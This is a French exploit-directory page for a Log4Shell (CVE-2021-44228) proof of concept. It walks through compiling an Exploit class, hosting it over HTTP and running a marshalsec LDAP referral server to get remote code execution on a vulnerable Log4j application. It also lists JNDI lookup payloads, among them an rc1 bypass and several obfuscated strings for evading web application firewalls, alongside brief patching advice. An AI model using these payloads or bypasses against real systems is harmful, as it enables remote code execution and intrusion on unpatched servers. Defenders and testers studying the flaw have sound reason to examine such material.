Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-44228-Apache-Log4j-Rce — Apache Log4j Exécution de code à distance | Kitploit
Outils/GitHubGitHub/tangxiaofeng7/cve-2021-44228-apache-log4j-rce
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebContournement de WAFApprentissage et ÉducationOutil d'Accès à Distance
GitHub
tangxiaofeng7/cve-2021-44228-apache-log4j-rce

CVE-2021-44228-Apache-Log4j-Rce

Apache Log4j Exécution de code à distance

Voir le dépôt
893014il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-44228(Apache Log4j Exécution de code à distance)

toutes les versions de log4j-core >=2.0-beta9 et <=2.14.1

Les versions 1.x présentent d'autres vulnérabilités, nous vous recommandons de mettre à jour vers la dernière version.

Avis de sécurité / Bulletins liés à Log4Shell (CVE-2021-44228)

Utilisation :

Téléchargez ce projet, compilez le code d'exploitation blob/master/src/main/java/Exploit.java, et démarrez un serveur web permettant de télécharger le binaire compilé.

git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce

javac Exploit.java

# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888

# make sure python webserver is running the same directory as Exploit.class, to test
  curl -I 127.0.0.1:8888/Exploit.class

Téléchargez un autre projet et exécutez l'implémentation de serveur LDAP renvoyant des références JNDI https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

Compilez et exécutez le code d'activation (simulez une attaque log4j sur un serveur web Java vulnérable) blob/master/src/main/java/log4j.java, et votre application calculatrice apparaîtra.

cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j

# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
#  Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
#  127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -


Conseils :

Ne comptez pas sur une version récente de Java pour vous sauver. Mettez à jour Log4 (ou supprimez la recherche JNDI). Désactivez l'expansion (cela semble de toute façon une très mauvaise idée).

Contournement de rc1

Par exemple :

${jndi:ldap://127.0.0.1:1389/ badClassName}

Contournement du WAF

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

Ne vous fiez pas au pare-feu applicatif web.

Détails de la vulnérabilité

Les Lookups fournissent un moyen d'ajouter des valeurs à la configuration Log4j à des endroits arbitraires.

Lookups

Les méthodes pour provoquer la fuite dans finally

LogManager.getLogger().error()
LogManager.getLogger().fatal()

Méthode de vérification simple

Si vous souhaitez faire des tests en boîte noire, je vous suggère de faire un scan passif.

BurpLog4jScan

Amusez-vous bien !!! BurpLog4jScan.png

Stargazers au fil du temps

Stargazers over time

Télécharger l’outil